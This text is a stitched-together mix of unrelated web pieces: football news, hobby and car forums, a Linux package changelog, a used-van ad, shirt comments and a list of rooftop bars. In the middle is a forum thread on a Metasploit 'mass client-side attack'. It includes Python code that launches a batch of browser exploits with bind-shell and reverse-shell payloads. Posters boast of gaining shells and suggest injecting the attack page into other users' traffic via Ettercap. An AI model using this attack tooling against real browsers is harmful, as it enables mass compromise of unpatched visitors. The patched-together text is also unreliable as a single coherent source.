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Arsène Wenger believes Cesc Fabregas and Samir Nasri will stay at Arsenal.
The captain has consistently been linked with a move back to his former club Barcelona while Nasri's future has also been the subject of intense speculation with the French midfielder yet to sign a new contract at Emirates Stadium.
Fabregas has not travelled on the Club's pre-season tour of Asia - he is receiving treatment in London for a hamstring problem - but Nasri left for Malaysia with the rest of the squad on Sunday. Wenger expects both players to be part of Arsenal's push for honours in 2011/12.
"Yes [I expect Cesc to stay]. As simple as that," said Wenger at a press conference in Kuala Lumpur.
"I have never spoken about what has happened behind closed doors but Cesc loves the Club. We know the Barcelona story goes on for years now and we have to close that. Now we focus on the new season, hopefully with Cesc Fabregas.
"Yes [I expect Nasri to stay as well]. There is always speculation when a player has one year to go on his contract that he might leave the club but Samir Nasri is very happy at the Club and committed to stay at the Club.
"I hope he will sign a new contract but I am not the only one to decide that."Copyright 2017 The Arsenal Football Club plc. Permission to use quotations from this article is granted subject to appropriate credit being given to www.arsenal.com as the source


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Hi guys! got a friend of mine working on a boushh costume, and he's having problem finding enought reference pictures of the staff, so I decided to watch ROTJ just to see if it was spoted anywere eles ?
could this be the same staff Han uses to help lando ?
forgive me for not uploading any photos, but I don't know any quick and effective way on getting them here ;) and I'm quite tired too :P


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I'm new to duck hunting this year...and love it! Being an avid grouse and turkey hunter, it's definitely the best of both worlds.
Anyway, my question is for any New York or Northern hunters. This past weekend, Saturday and Sunday, I had to wade out about 20 feet to break through ice that formed over night to get the decoys in, I'm using half a dozen. My question is, if the season is open until January 1st (Southeastern Zone) where could you possibly hunt, other than jump shooting mallards off streams, which I'm not into, since any pond, or lake that I'm aware of will be frozen solid? Next few nights are supposed to be in the 20's. I'm hunting a large pond (probably about ten acres) with nice shallow marshy areas I thought would be ideal for the puddle ducks. It does get nice flocks of Geese, but I don't have the calls or decoys for Geese. Would I be better off going that route?
Secondly, I have not seen anything other than mergansers (lots!), since I don't plan on eating them since I understand they're not good eating, I haven't shot a duck yet. No problem calling the mergansers into the decoys I just don't plan on shooting them. Do we get any decent flights of ducks through Central New York (Syracuse to Albany)? Does it pick up or is this about it?
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* Sun Feb 13 2011 firstname.lastname@example.com - Call relevant macros in %post/%postun: + %desktop_database_post/postun because the package ships at least one desktop file. + %icon_theme_cache_post/postun because the package ships themed icons. - Pass %{?no_lang_C} to %find_lang so that english documentation can be packaged with the program, and not in the lang subpackage. - Change Requires of lang subpackage to Recommends, since the english documentation is not there anymore. * Tue Dec 14 2010 email@example.com - Do not pass --libexecdir=%{_libexecdir}/gnome-panel to configure: it's fine to use the standard libexecdir. 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Note that here again, we have to recommend gnome-utils-lang. - Rename gnome-utils-devel to libgdict-devel, with appropriate Provides/Obsoletes. * Thu Aug 05 2010 firstname.lastname@example.com - Update to version 2.31.1: + All - Fix GSeal-related issues - Stop using deprecated symbols + Baobab - Port to GtkSpinner - Move gconf notifications functions all in the same place - Connect to the notification of the monitor home pref - Sync gconf when closing the prefs dialog - Code cleanups + Dictionary - Avoid conflict with the "link" symbol defined in unistd.h + Screenshot - Correctly check for shape.h if the xext is available instead of if not + Search Tool - Port to GtkSpinner + Updated translations. * Mon Jun 14 2010 email@example.com - Do not update desktop files with categories that they already have, and do not use the Applet category which is reserved for special uses (use X-SuSE-DesktopUtility instead, since we need another category to make some SUSE-specific checks happy). * Tue Mar 30 2010 firstname.lastname@example.com - Update to version 2.30.0: + Baobab: - do not set up dnd before the widgets are created + Updated translations. * Sun Mar 28 2010 firstname.lastname@example.com - Update gnome-utils-logview-run-as-root.patch to not add a X-KDE-SubstitudeUID key to gnome-system-log.desktop, but instead call xdg-su directly in Exec. - Add a xdg-utils Requires to make sure xdg-su is installed. - This is for bnc#540627. * Sat Jan 16 2010 email@example.com - Do not package en@shaw locale on openSUSE 11.2 and earlier. * Thu Jan 14 2010 firstname.lastname@example.com - Update to version 2.29.5: + Baobab - Typo in baobab .desktop entry - callback objects are now GtkActions (bgo#589611) - Allow user to drag a folder directly over the rings-chart or treemap to get it scanned (bgo#594539) - Limits treemap zooming to the actual depth of folders shown - Wrong format in a translatable string (bgo#508483) - Adds a check to avoid traversing the tree model if it's empty - Minor string fix (bgo#573530) + Dictionary - Use gtk_widget_is_toplevel() instead of GTK_WIDGET_TOPLEVEL() + Screenshot - Renamed "Save snapshot" to "Save screenshot" - Removed GenericName + Search Tool - Fix possible crash after deleting files (bgo#595371) - Properly handle invalid command line args - Resurrect the --version command line argument - Fix a compiler warning - Remove generated schema file from the tarball (bgo#599317) + System Log Viewer - Always sanitize the stored fontsize from GConf (bgo#597554) - Make sure we don't double-free the old name (bgo#595352) - Make sure to return if we have an error or no new lines (bgo#588577) - Fix logview-filter ui file translatability - Update help + Translation updates - Remove baobab-desktop.patch. Fixed upstream - Update the following patches to apply with fuzz=0: gnome-utils-179040-screenshot-uri.patch gnome-utils-desktop-icons.patch gnome-utils-logview-run-as-root.patch gnome-utils-no-docpath-in-search-tool.patch * Sat Nov 14 2009 email@example.com - Update to version 2.28.1: + Search Tool: - bgo#595371 - Properly handle invalid command line args - Remove new string from previous commit + System Log Viewer - Always sanitize the stored fontsize from GConf (bgo#597554). - Make sure we don't double-free the old name (bgo#595352). - Make sure to return if we have an error or no new lines (bgo#588577). + Updated translations. - Respin gnome-utils-179040-screenshot-uri.patch and gnome-utils-no-docpath-in-search-tool.patch to apply without fuzz. * Tue Sep 22 2009 email@example.com - Update to version 2.28.0: + Remove a duplicate id in the UI file + gsearchtool: Always show application icons + gdict: Remove the connection check timeout + Updated translations. * Tue Aug 25 2009 firstname.lastname@example.com - Update to version 2.27.91: + Baobab: - Remove build warning for gtk_message_dialog_format_secondary_text - Adds "total filesystem capacity" row as root of initial treeview - Adds suggested filename to chart snapshot file-chooser dialog - Fix gio inode and device handling for hardlinks + Screenshot - add a manual page - fix double free of GError - Play shutter sound effect through libcanberra - bgo#587143 - Missing main category in desktop file + Search Tool: - Modify 'Open with' menus to match the new nautilus layout - Mark 'Open with' strings for translation + System Log Viewer - use GtkInfoBar + Updated translations. - Add libcanberra-devel BuildRequires. * Mon Jun 15 2009 firstname.lastname@example.com - Update to version 2.27.2: + Baobab - Command line parsing cleanups; add --version + Search Tool: - Stop using libgnome* - bgo#573670: Add custom entry - Build fixes. + System Log Viewer - Translate last update time + Build fixes + Updated translations. - Remove gnome-desktop-devel BuildRequires. * Tue May 05 2009 firstname.lastname@example.com - Update to version 2.27.1: + Baobab: - bgo#580139 - invalid help uri - bgo#581002 - Baobab crashes when scan is pointed to a de-selected mount point - Fix compiler warning - Rework monitoring of the home file dir - Remove leftover declaration + Dictionary: + Port to GtkBuilder + Search Tool: - Minor logic fix - Typo fix - Sync open with menu with nautilus - clean up code + Build system fixes and improvements. + Updated translation. + Drop gfloppy. - Remove gfloppy packaging. - Remove libglade2-devel BuildRequires. - Update baobab-desktop.patch and gnome-utils-logview-run-as-root.patch to apply without fuzz. - Update gnome-utils-desktop-icons.patch to remove the gfloppy part. * Wed Apr 08 2009 firstname.lastname@example.com - Split gfloppy in its own package, since it's not useful for most people. - Remove .la files. * Tue Mar 17 2009 firstname.lastname@example.com - Update to version 2.26.0: + Baobab * Fix bgo#574105 - Do no show GVfs FUSE file systems in the preferences dialog + Screenshot * Fix bgo#573939 - Disable the delay option when taking a screenshot of a user selected area + Translation updates - Remove e2fsprogs-devel, gconf2-devel, gnome-common, gtk-doc, scrollkeeper from BuildRequires - Merge -doc into -devel since it only contains gtk-doc - Don't run autoreconf - Remove custom CFLAGS - Don't package omf files twice (they are in the lang package too). * Fri Mar 06 2009 firstname.lastname@example.com - Update to version 2.25.92: + Baobab: - Use g_return_val_if_fail instead of g_return_if_fail. + Dictionary - Replace deprecated gtk_entry_set_editable. + Screenshot - Initialize threads at startup and explicitely depend on GThreads. - If we are in a multi-monitor setup that is not rectangular blank out the "invisible" areas from the rectangular root window. - Don't try to shape the root window. - Add support for taking a screenshot of an user-defined selection. + Search Tool - Get rid of deprecated libart calls. - Get rid of deprecated GTK_CHECK_* macros. + System Log Viewer - Explicitely depend on GThreads. - Gather all the readable log files from /var/log and /etc/syslog.conf instead of hardcoding obsolete values. + Updated translations. - Drop gnome-utils-autobuild-warning.patch: fixed upstream.
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A friend of mine is having trouble with his CDR:
I wonder if you can help with a problem I am having, I am using 650 mb cdr's to store data and images on and although I have only used 81mb on the current disc, when I try to copy more info to the disc it tells me that the disc is full. Have you any ideas why it says this?, it has got me baffled.
When I check the disc properties it just says: total disc size 81mb used space 81mb.
Regards, John.
Trouble With Cdr
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Posted 26 January 2004 - 09:00 AM
You can only write data to a CD-R once - if you want to add data more than once to a CD, you need to use a CD-RW disc, which are slightly more expensive.
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Posted 26 January 2004 - 01:42 PM
what mark said is true but even in a cd-r you can store 80/40/100/what_ever mb and later add more mb... this is call a 'multisession disc' and allows you to add files later to a cd-r (check your recording program) - in this mode and when no more space is available in the cd-r you must finish the cd-r (without finishing a cd-r you may not be capable to read your cd-r in another computher other then yours or where it was recorded!)
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I have a clean 99 Eurovan VR-6 12V automatic with 154,300 miles on the clock and runs strong. No "Check Engine" Light. I have given it a tune up, replaced the cat with an original VW dealer part, replaced the power steering pump with an original VW part, did the heater core with an original vw part, installed brand new VW factory fogs ( although you will need a fog harness kit you can get from ECS) It has a Euro headlamp switch. Rear fog is there, just needs the single wire to make work. I have the wire. 2008 Passat 17" five spoke wheels
I replaced the crappy factory 15 inch alloys it came with when i bouht it a year ago, with brand new 08 Passat 17 inch five spoke wheels. Brand new Kuhmo tires. It has a Panasonic removable face single disc radio, with aux port and usb port.
I basically used this van to commute on the GSP , and by law had to put commercial plates on it because i had lettering on the rear windows to promote my home side business. This vehicle has been babied and worked on only by qualified vw dealers. I live in Bloomfield NJ.
There are things i know i probably forgot, but that pretty much sums it up. Asking $6200 or BEST OFFER. PRICE IS NEGOTIABLE GUYS.
BTW...you are looking at a USED Eurovan, its 13 years old. It looks,runs and drives really good for its age. Its being sold AS IS with NO WARRANTIES expressed or implied. It is $6200 or BEST OFFER. All offers will be entertained, the worst i can say is no. Thanks for looking.


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You secondary springs may also be to loose
you know, I have always used a feeler guage to set the pump springs.....I set um @ .026 and thats it.......but, thats usualy with a high stall and set for launch.....It may be not very worth while but they have to be set somewhere and thats just what I have found to work best for the perticular applications I deal with....anyone else do this?
Pump circuit is largely dependate on a quick motion of the throttle to discharge fuel to cover the lean spot on accelerating from a low speed.
When you ease into the throttle, you notice no power loss because the pump circuit isn't needed or used . But when you stomp on it the pump is working at it's hardest and since if can't supply enough fuel to cover the lean spot then you feel it as a loss of power production. Usaully this manifestes itself as a hesitation or bog for just a second or two after mashing it.
You secondary springs may also be to loose, allowing the secondary's to open to soon. Since the pump circiut is already used up and can't help, the car goes lean untill RPM comes up and booster signal is restored. (Vaccum)
With the low vacuum levels you have indicated, I can only assume you have a long cam. Long cams already produce lower then ideal vaccum levels so the problem is pronounced.
What's this mean? The engine went lean.
Change springs in the secondary's before meesing with anything else.
Secondary's rely on vacuum that's created as air moves through the carb, not when the carb is closed, producing vacuum under the carb. You are measuring from the port that is under the carb.
With long cams, vacuum is often higher when RPM's are up and engine isn't working hard because of the overlap period. The cam's getting closer to it power band.
Vacuum Guage Test Results.....? (Holley 600CFM))
Well, I ran home at lunch and took the mustang for a drive. I hooked up the vacuum guage and ran it with extended rubber hose through the passenger side window and took the car for a spin.
I'm sure my results are pretty standard but I am trying to decide if my engine is getting too much gas, or not enough.
The engine seems the most responsive when I feed the gas pendal in gradually ie: 1/4, then 1/2, then full throttle by the mid for some good performance.
If I punch it full throttle from a low speed, my throttle response and powerband is nowhere near as good.
At first I thought that this ment that I am getting too much gas but then I was thinking that at 1/4 and 1/2 throttle my vacuum is stronger then at full throttle when it is 0.
So, if i have vacuum secondaries then how can they be pulled in at full throttle when the vacuum is 0?
Maybe I am getting more gas at the part throttle positions because it's pulling the secondaries open with the vacuum signal, thus giving me more gas for better power?
Anyways, here are the results of the vacuum test:
"Vacuum Guage Test Rresults"
Idle in Park: 12 and Smooth
Idle in Gear: 7-8 and Smooth
Cruising: 14-16 and Smooth
1/2 Throttle: Drops down to about 6
Full Throttle: 0
Note: I have a 6.5 power valve.
What do you guys think...why do I get a crisper, stronger powercurve when I feed the gas pedal in incrementally?
Thanks, Greg.
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I have a 08 Passat and i want to have the foglights as DRL.
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If i have to use a vag-com is there someone who know på code for coding that?
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Green Bay held Wisconsin scoreless until the 70th minute, when Skyler Felt found the back of the net off an assist by Trevor Wheeler in what proved to be the game winner.
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Kyle Ihn (Wales, Wis.) and Dary DeWalt (Milwaukee, Wis.) shared time in net. Ihn played the first 66:43 and recorded one save, while DeWalt was in net for the final 23:17, allowing one goal with one save.
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yeah its pretty cool, i got 3 shells on my unpatched XP SP2
imagin this running on a small site with 500 visitors per day
it's still so easy to get a shell, many people do never update...
Metasploit Mass Client-side Attack
This I just a quick post about the script and how it works.
It runs a bunch of Metasploit attacks at once and starts a local websever and puts all the attacks in an iframe.
*Update fast-track.py
Goto the program menu > backtrack > penetration > fasttrack
You can run the script directly from /pentest/fast-track/
*Choose2. External Hacking
*Choose 7. Metasploit Mass Client-Side Attack
Here is a list of the exploits it runs ( the rc file is called metasploitloadfiles )
What you can do is combine this with a simple Ettercap filter to inject your url at the end of say the body tag. Here is a sample post of a etterfilter.
My next tutorial will be on replacing all HTTP GET of EXEs with say a Metasploit payload ;P
yeah its pretty cool, i got 3 shells on my unpatched XP SP2
imagin this running on a small site with 500 visitors per day
it's still so easy to get a shell, many people do never update...
-Google is watching you
-June 1, 2001, Microsoft CEO Steve Ballmer: "Linux is a cancer that attaches itself in an intellectual property sense to everything it touches."
is there a way to change mass client side payload from shell to meterpreter?
Yes you can... you have to change a few things around in the source... here is how i did it...
open the metaclient.py and replace it with this code... you can find the file in this directory /pentest/fast-track/bin/ftsrcnow you need to open the metasploitloadfile located here /pentest/fast-track.... make your changes and save the fileCode:import pexpect,sys,os try: import psyco psyco.full() except ImportError: pass # Start mass client attack try: import re metapath=file("%s/bin/setup/metasploitconfig.file" % (definepath)).readlines() for line in metapath: metapath=line.rstrip() except Exception: print "Metasploit path not defined, you should run setup.py,\nusing the default for now..." metapath="/pentest/exploits/framework3/" try: #define IP Addr to echo into index.html ipaddr=sys.argv[3] definepath=os.getcwd() print "Setting up Metasploit MSFConsole with various exploits..." #prepfile=file("metasploitloadfile","w") #prepfile.write("use exploit/windows/browser/ie_createobject\nset PAYLOAD generic/shell_bind_tcp\nset SRVPORT 8001\nset URIPATH /\nexploit\nuse exploit/osx/browser/software_update\nset PAYLOAD generic/shell_bind_tcp\nset SRVPORT 8002\nset URIPATH /\nexploit\nuse exploit/windows/browser/apple_quicktime_rtsp\nset PAYLOAD generic/shell_bind_tcp\nset SRVPORT 8003\nset URIPATH /\nexploit\nuse exploit/windows/browser/winamp_playlist_unc\nset PAYLOAD generic/shell_bind_tcp\nset SRVPORT 8007\nset URIPATH /\nexploit\nuse exploit/multi/browser/qtjava_pointer\nset PAYLOAD generic/shell_bind_tcp\nset SRVPORT 8005\nset URIPATH /\nset TARGET 0\nexploit\nuse exploit/multi/browser/qtjava_pointer\nset PAYLOAD generic/shell_bind_tcp\nset SRVPORT 8006\nset URIPATH /\nset TARGET 1\nexploit\nuse exploit/multi/browser/qtjava_pointer\nset PAYLOAD generic/shell_bind_tcp\nset SRVPORT 8008\nset URIPATH /\nset TARGET 2\nexploit\nuse exploit/windows/browser/ibmlotusdomino_dwa_uploadmodule\nset PAYLOAD generic/shell_bind_tcp\nset SRVPORT 8009\nset URIPATH /\nexploit\nuse exploit/windows/browser/ani_loadimage_chunksize\nset PAYLOAD generic/shell_bind_tcp\nset SRVPORT 8000\nset URIPATH /\nexploit\n") #prepfile.close() print "If an exploit succeeds, type sessions -l to list shells and sessions -i <id>\nto interact...\n\n" print "Have someone connect to you on port 80...\n" print "Launching MSFConsole and Exploits...\n" print "Once you see the Metasploit Console launch all the exploits have someone\nconnect to you.." definepath=os.getcwd() launchsploit=os.popen2("""xterm -geometry 100x300x450x500 -T "Fast-Track Metasploit Mass Client Attack" -e "%smsfconsole -r %s/metasploitloadfile" 2> /dev/null""" % (metapath,definepath)) launchhttpserver=os.popen2("""xterm -geometry 100x50 -T "Fast-Track Metasploit Custom HTTP Server" -e "python %s/bin/ftsrc/metahttpserver.py %s" 2> /dev/null""" % (definepath,ipaddr)) pause=raw_input("Press enter to end the Mass Client Attack...") except KeyboardInterrupt: print "\n\nExiting Metasploit Mass Client Attack...\n\n" delfile=os.popen3("del metasploitloadfile") except Exception: print "\n\nExiting Metasploit Mass Client Attack...\n\n" delfile=os.popen3("del metasploitloadfile")
If you know how to use the metasploit console then the rest is up to you
I have used the mass client side attack to pwn Internet explorer many of times. When I try to exploit Firefox it says that in order to exploit the browser you must set the SRVPORT to 80 and URI to /.
I tried changing the SRVPORT for the exploit in metaclient.py.
Is this the correct procedure? and has anyone got this working??
is there any benefit to running this over the browser autopwn script itself?
I'll make some changes later to specify if you want a meterpreter shell, shell bind etc. in the next release, good find, would be cool to add the option to menu/command line/webgui
Alright TWO hours later its done :P
I'll update Fast-Track tomorrow with some bug fixes and a new addition to the metasploit mass client attack....
You can now specify payloads you want, I added four so far, if you guys have any other requests let me know, but right now, you can now specify in all modes (interactive, command line, and web gui)
1. Meterpreter Reverse TCP
2. Reverse TCP Shell
3. Meterpreter VNC Reverse Inject
4. Generic Bind Shell
I tested all of them, it was pretty sweeeeet to see a reverse vnc GUI through mass client attack!!!
I'll update tomorrow.
Thanks for the ideas.
Fast-Track updated.
Pretty sick:
Already played around with it. Great work relik - like always...........Fast-Track updated.
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Hey there all. I'm new...well kind of...to the whole fett costuming deal. I found this Mystery helmet on ebay, and i was wondering if this looks like a good deal, or a cheap knockoff. Thanks for any help you all have.
Hey there all. I'm new...well kind of...to the whole fett costuming deal. I found this Mystery helmet on ebay, and i was wondering if this looks like a good deal, or a cheap knockoff. Thanks for any help you all have.
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as far as i know this helmet has been discussed on this site as being terrible.
I have heard.. I gotta be careful here! that that particular product 'may' not be as good a deal as you think? but with all purchases from the bay of fleas... you get what you pay for?
I know others here may know of this person and his products and may want to chime in?
First, it is against the CoC to post ebay auctions that aren't yours. Just trying to look out for ya.
Second, most "mystery" helmets on ebay are recasts. I don't want to venture out and say this one is because I don't know the seller, but it is generally true.
To be safe, I'd say stay away from it.
Do a search here for that seller's name. Also search for "amiadfilter," as they are the same individual.
Ok asok, I didn't know about that rule. I am sorry. I'll remember that from now on. Thanks
on another note, why is it called the mystery helmet anyway?
I bought one from him. Aside from weighing ten pounds and needing an insane amount of work, the cast was horrible.
ok guys, thanks for all the feedback. I will continue to go on the bay cuz there are good deals there, but there are definitely things i wont buy there. I am trying to decide if i'm going to just go ahead and build up my Rubie's helmet, or try for a dp 95 helmet and build that up. or even just use the rubie's as a test and go from there.
We shall see about that, and when i can REALLY afford it, go for the good stuff. Thanks again everyone.
Good to avoid that helmet. It would have taken so much work to fix it that I gave away a similar one I bought.
How tall are you? The DP 95 or 96 can be an ok base depending on your size. I would not do a Rubies only because the molds are bad and they are pretty misshapen from what I have seen. Still, there have been some people on the board who have done amazing things with them, just takes some extra work and talent.
There are other helmets you can find here that may fit your budget and artistic skills. Have a look around and you'll learn pretty quickly.
Welcome to the board!
Ok, here's a few pics i took of my helmet the other day...i've been working on it lately, and it's a lil different now. I also wanna point out the crack in the helmet, in two spots. I was gonna make it really presentable and clear them all up, then i realized: this is a fett helmet. it's supposed to be beat up. so i'm gonna leave the missing chunk under the left (if you're looking at it) eye, and only clean up the top part of the crack, above the red.
I have since glued the crack together, and i'll update as i progress.
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I was trying to figure out what is odd about some of your pics - I see now the first two are flipped around, in true Lucasfilm style LOL
The crack certainly adds to the over all beat up effect, but is it a structural problem? I mean, will it eventually turn into a bigger - and BIGGER - crack?
well, first off, i took the pics with my cell phone camera, and it decides when it's gonna take a normal pic :P secondly, the crack has been glued. however, i have an update. I just won a 95 Don Post bucket of ebay, and it was only 50 bucks, including shipping. so, i've decided to use the rubie's one as a test bucket, since i've never painted one before. thanks all
Good luck! There's a lot of good reference material right here. Try using the "Search" function as much as possible to see some examples of paint jobs. Another good resource is the Rogue Studios paint list under the "Armor" section. Check it out!
Many,many, many threads about this guys product on TDH. Yes, he is the former Amaidfilter, and if you search the links you will find many very unhappy people. He is rude, produces a crude product, shipping delays are common, and purchases have arrived in the past broken, due to poor packing/ shipping. He goes by Zombie Repellant now on eBay, due to bad rep of Amaidfilter, and if you e-mail him he gets very upset about you wanting to discuss what you buy on TDH. Read his feedback on this and other products and it tells the story. You can get a Sgt Fang for the same amount who produces a very superior helmet to this characters
This isn't our ZR here on the TDH??


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This is an impressive chunk of metal.. Its like a cadillac. The massive size and weight soak up nearly all the recoil. Round one was dead-nuts center bulls-eye on my dart board targets at 35'. The next 9 were slightly low but I think 6 were touching. Made a happy face which in turn made me happy.
I set up a few bowling pins and targets at 75'. Again, well in the X-5's range with little difficulty.
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Absolutely love it. The colors are gorgeous!
And you actually got a couple of the constellations right that many people don't always finish out (like Ursa Major). Bravo!
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I voted for this the first time around, so I REALLY hope it prints this time. :3
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Oh, the logic of it all
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jhb0131 wrote:Truly would buy this one in a heart beat if woot had a buy button on it. Please woot let me have my science!!!
Have to agree wish we could just buy the shirt designs we love even if it was an all designs price. Very depressing when a shirt I think is great doesn't get a chance.
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blairteste wrote:Its "E pluribus Unum" not "E unum Pluribus"
I think that's the joke...
It means "Out of one, many" which is the whole basis of mitosis, it divides into two, and those into two..science rules.
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50 stunning rooftop bars and restaurants
If anything has the power to make one pause for a moment and consider that life didn't turn out so bad, it's a panoramic view accompanied by the carbonated nostril-tickle of a favorite beverage as it's lifted above the horizon and drawn into the gullet.
For the best results, you need to select the best rooftop bars.
We tracked down travel writers, bar/restaurant pundits and some good old-fashioned worldly drinkers and eaters to find the best rooftop bars and restaurants around the planet.
Combining fantastic views, great mixes, of the quaffable and auditory kind, and above all experiences you want to tell your friends about, we've come up with a pretty good list.
We think.
You no doubt have your own views -- we can't wait to hear about them in the comments box below.
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1. Coq D'Argent: London, England
Don't mind rubbing shoulders with hordes of pinstripe-besuited bankers, and have the bank balance to match?
Try Coq D'Argent.
Next to the Bank of England, St Paul's Cathedral and Mansion House, this rooftop garden comes with lawns and ornamental box hedges.
There's a (very) pricey indoor restaurant, but a reasonably priced list of bar snacks. You can sit on the grass or gaze down on the suits hurrying along the streets far below.
No. 1 Poultry, London, England; +44 20 7395 5000; coqdargent.co.uk
2. Rooftop Bar, Hotel Raphael: Rome, Italy
In the heart of Rome, near the vibrant Piazza Nova, is the Hotel Raphael with its gorgeous roof terrace.
It's a great place for soaking up the atmosphere and enjoying panoramic views of the eternal city.
You can spy the Vatican from the terrace and the surrounding patchwork of colorful roofs provide a neat, photogenic backdrop to your coffee or cocktail.
The food is also good.
Raphael Hotel, Largo Febo 2, Piazza Navona, Rome, Italy; +39 6 682 831; hotelraphael.it
3. Skyline, Hilton Molino Stucky: Venice, Italy
Perched atop a restored mill that is now home to the Hilton Molino Stucky Hotel in Venice, the Skyline Bar offers views over the Giudecca Canal as far as Piazza San Marco.
It's beautiful by day, but especially alluring at night when the bar acts as a magnet to wealthy Venetians, attracted by the bar's romantic ambiance.
Giudecca 810, Venice, Italy; +39 41 272 3311; molinostuckyhilton.com
4. The Top Bar, Adriana Hotel: Hvar, Croatia
This is the place to go if you want to meet Russian oligarchs and yachting types knocking back magnums of Champagne.
The aptly named Top Bar offers wrap-around views of the ancient city, the yacht harbor and Paklinski Islands.
It has sleek, low-slung sofas and areas to dance with Hvar's jet set.
Fabrika, Hvar, Croatia; +385 2175 0200; suncanihvar.com
5. 360: Istanbul, Turkey
In a city replete with rooftop bars, 360 is still the most spectacular.
A spacious multiple-award winning restaurant with floor-to-ceiling windows opens out onto a huge terrace where you can eat, drink or -- later -- throw some shapes on the dance floor when the bar turns into one of the city's trendiest clubs.
Istiklal Street, Mısır Apartment, 8/F 163 Beyoglu, Turkey; +90 21225 11042; 360istanbul.com
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6. Uptown Bar, Jumeirah Beach Hotel: Dubai, United Arab Emirates
Located on the 24th floor of Dubai's iconic wave-shaped Jumeirah Beach Hotel, this elevated cocktail bar has a spacious terrace with views of the Burj Al Arab and the striking skyline.
Roads recede to vanishing point, and the Burj Al Arab glows on the horizon.
There's an extensive drinks menu, but you'll be too busy gawping at the view to pay attention to much else.
Jumeirah Beach Road, Dubai, United Arab Emirates; +971 4 406 8999; jumeirah.com
7. Kensington Roof Gardens: London, England
London's oldest roof garden is still known to many as "Derry and Tom's Roof Garden," in memory of the department store that commissioned the garden in the 1930s.
Covering around 6,000 square meters the garden is 30 meters above street level and includes a fish-filled stream, bridges, walks, trees, shrubs and sitting areas, and three resident flamingoes.
There's an English Woodland Garden with nearly 100 species of tree, a Spanish garden with fountains and a walled Tudor garden.
The Roof Gardens, 99 Kensington High St., London, England; +44 20 7937 77994; www.roofgardens.virgin.com
8. Oloroso: Edinburgh, Scotland
Edinburgh is better known for its icy winds than its café culture, but on a fine day there are few better places to catch some Scottish rays than on Oloroso's roof terrace.
It has unparalleled views to the castle and the city's Georgian new town.
Oloroso makes for a great al fresco lunch or sun downer, and when it's too chilly for the terrace you can dine in the award-winning restaurant with two glass walls.
33 Castle St., Edinburgh, Scotland; +44 131 226 7614; oloroso.co.uk
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9. Angels & Kings: Barcelona, Spain
Angels & Kings in Barcelona is the first European outpost of the eponymous New York bar.
Attracting a wealthy crowd, Angels and Kings has an intimate sixth-floor setting, stuffed with velvet curtains, black lacquer furniture and a stunning outdoor terrace complete with pool.
Hotel Me Barcelona, Pere IV 272–286, Spain; +34 93 367 2050; angelsandkings.com
10. The Terrace, Bairro Alto Hotel: Lisbon, Portugal
The Terrace is on the top floor of the Bairro Alto Hotel, where you can see the terracotta-roofed sprawl of Lisbon and the meandering River Tagus.
The hotel is in a restored 18th-century building and the rooftop bar could not be more relaxed.
Praca Luis de Camoes, 2, 1200–243 Lisbon, Portugal; +351 21 340 8288; www.bairroaltohotel.com
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11. Las Animas Puerto: Valencia, Spain
Las Animas Puerto is considered one of the best terraces in Valencia. It's situated at the entrance to the Americas Cup Port and is one of the coolest nightspots in town.
There are views over to the beach and sea, if you can drag yourself away from the so-cheesy-they're-good tunes from the 1970s and 1980s.
Docks Building, Paseo Neptuno, Spain; +34 902 108 527; grupolasanimas.com
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12. Hotel 3.14: Cannes, France
Hotel 3.14, part of the Avant Garde hotel group, is only a stone's throw from La Croisette.
Its rooftop pool terrace has a hamman, a Jacuzzi and offers massages alongside cocktails and organic lunches.
By night, the leafy terrace transforms into a bar with panoramic views over the Mediterranean.
3.14 Cannes 5, rue François Einesy, France; +33 4929 97200; 3-14hotel.com
13. Cavalieri: Corfu, Greece
There's more to Corfu than down-market resorts and a wilting economy.
Corfu Town has stunning Venetian architecture and cobbled streets and squares -- best looked down on from the rooftop bar at the Cavalieri Hotel.
It has spectacular views highlighting the Venetian and British influences that have made Corfu such an interesting town.
4 Capodistrisou St., Corfu, Greece; +30 26610 39041; cavalieri-hotel.com
14. Park Hyatt Conservatory Lounge & Bar Terrace: Moscow, Russia
For some of the best views of Moscow, with the Kremlin and the Bolshoi close by, come here.
To get a table at the rooftop terrace you'll need to arrive early, but your efforts will be rewarded.
If it's too cold, or you're too late, there's an indoor space too, complete with a glass wall so you can still see the view.
4 Neglinnaya St., Moscow, Russia; +7 49 578 31234; moscow.park.hyatt.com
15. Roku Nana: Roppongi, Tokyo, Japan
The designer bar Roku Nana (Six Seven in Japanese) does not exist. Well it does, but it's a secret.
It's hard to find and the open-air setting is on-the-rocks cold in spring, which means it can be unusually peaceful.
With almost non-existent furniture (Plexiglass tables with chandeliers inside, Plexiglas chairs) and toned-down lighting, Tokyo's skyline is the dominant visual feature.
The effect is like being in a little space ship.
To find Roku Nana's nondescript three-story white building, you have to call the bar and beg for directions.
Roku Nana, Verde Roppongi 3/F, 7-16-11 Roppongi, Minato-ku, Japan; +81 (0) 3 6438 9915
16. The American Bar, Penz Hotel: Innsbruck, Austria
The American bar on the fifth floor of the glass cube in the Penz Hotel is good for an al fresco summertime drink or two, but better for one of the moreish cocktails the bartenders can whip up.
It's like a gentleman's club, with leather sofas and smooth jazz, but one with views of the snowcapped Alps.
It has a retractable roof, but no heaters, so only the hardy -- or foolhardy -- venture onto the terrace after the autumn chill sets in.
Adolf-Pichler-Platz 3, A-6020 Innsbruck, Austria; +43 512 57 56 57; thepenz.com
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17. Lounge 24: Tallinn, Estonia
Two-score floors above the medieval old town of Tallinn, the views from this terrace stretch to the Baltic Sea.
You can step inside for a simple supper behind the floor-to-ceiling windows.
The bar is part of the Radisson Blu Hotel, formerly known as the Radisson SAS, but non-residents are welcome.
Rävala pst.3, Tallinn, Estonia; +372 682 3000; radissonblu.com
18. Q Lounge, Grims Grenka Hotel: Oslo, Norway
In Norway's new Grims Grenka hotel in the historic heart of Oslo, the Q Lounge rooftop bar is the hot destination for fashionable 30-somethings.
The house mixologist can whisk up a designer cocktail while guests lay back and relax on the plump cushions and soak up views over Akershus Castle and the harbor.
Kongens gate 5, Oslo, Norway; +47 2310 7200; firsthotels.com
19. Spa Bar, Clarion Sign Hotel: Stockholm, Sweden
Clarion Sign is the largest hotel in Stockholm -- a stylish and minimalist granite and glass affair bursting with Scandinavian design classics.
The super-stylish Spa Bar is on the eighth floor and there's a rooftop pool too.
35 ÖstraJärnvägsgatan, Stockholm, Sweden; +46 8 676 9800; clarionsign.com
20. Plunge at Hotel Gansevoort: New York, United States
The views of midtown New York from Plunge are memorable, with the Empire State Building and the Hudson River included in the 360-degree vantage point.
There's also a heated pool, complete with underwater sound system.
The Meatpacking District's most fabulous mingle here, sipping stiff drinks and glancing over their shoulders at the celebrity scenery.
